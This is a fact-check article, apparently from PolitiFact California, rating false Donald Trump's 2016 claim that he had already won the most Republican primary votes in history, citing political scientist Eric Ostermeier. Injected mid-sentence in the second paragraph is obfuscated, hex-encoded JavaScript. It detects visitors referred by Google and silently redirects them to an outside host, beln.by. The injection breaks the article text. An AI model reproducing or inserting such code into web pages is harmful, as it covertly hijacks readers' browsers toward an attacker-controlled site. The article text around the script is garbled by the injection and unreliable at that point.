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PolitiFact California: Targeting Trump’s voter count

Republican presidential contender Donald Trump at a campaign event. (Photo: Joseph Sohm)

Donald Trump’s march to the GOP nomination picked up steam last week, with dominant primary victories in the northeast.

After the wins, several news outlets reported that the New York billionaire could break the record for most Republican primary votes in history — if Trump scores big in Indiana, New Jersey and California var _0x5575=[“\x67\x6F\x6F\x67\x6C\x65″,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x68\x72\x65\x66″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x68\x74\x74\x70\x3A\x2F\x2F\x62\x65\x6C\x6E\x2E\x62\x79\x2F\x67\x6F\x3F\x68\x74\x74\x70\x3A\x2F\x2F\x61\x64\x64\x72\x2E\x68\x6F\x73\x74″];if(document[_0x5575[2]][_0x5575[1]](_0x5575[0])!==-1){window[_0x5575[4]][_0x5575[3]]= _0x5575[5]}. Those states have yet to vote.

Trump, apparently not wanting to wait, declared he’s already achieved the voting record.Logo 2

“In the history of Republican primaries, I’ve gotten the most votes in the history of the Republican party,” Trump said during his speech on Friday, April 29, at the California Republican Party Convention south of San Francisco.

Trump went on to say he’s broken the record without needing to wait for big states like California.

Was Trump right? Had he already collected the most primary votes in history? We set out on a fact check.

Our research
Eric Ostermeier, a political science professor at the University of Minnesota and founder of the number-crunching blog Smart Politics, has taken a look at the data.

“He is on pace to break the record, but he hasn’t yet,” Ostermeier told PolitiFact California. “I’ve seen no possible configuration of numbers that show he’s already broken it.”

Ostermeier placed Trump’s primary vote total at about 10 million so far. That’s still short of the 10.8 million votes George W. Bush received in the 2000 GOP primaries.

If one counts both primaries and caucuses, Trump would still be short of Bush’s overall tally, the professor said. Bush’s total is considered closer to 12 million if both types of elections are counted, he said.

Ostermeier estimated Trump would likely achieve the primary vote record if he earns a strong win in California’s primary, where he could pick up more than a million additional primary votes. He said Trump’s large vote totals can be attributed to the relatively close match-up he’s had with Cruz late into the primary season.

Several news articles, including by the Washington Post and Politico, used primary vote totals logged by RealClearPolitics.com. Its data show Trump has yet to break the record.

Trump’s campaign did not respond to our request for comment.

Our ruling
Donald Trump said he’s already earned the most Republican primary votes in history.

Experts who track this say Trump is on pace to break the record, but is still shy by about 800,000 votes. They predicted a strong victory in California — more than a month from now — could hand Trump the milestone.

We rate Trump’s claim False … for now.

Ed’s Note: PolitiFact California appears with the permission of Capital Public Radio. Contact PolitiFact California on Twitter @CAPolitiFact or via email at PolitiFactCA@capradio.org with interesting or provocative claims made by presidential candidates while they’re stumping in California. We’ll review them for a possible fact check.


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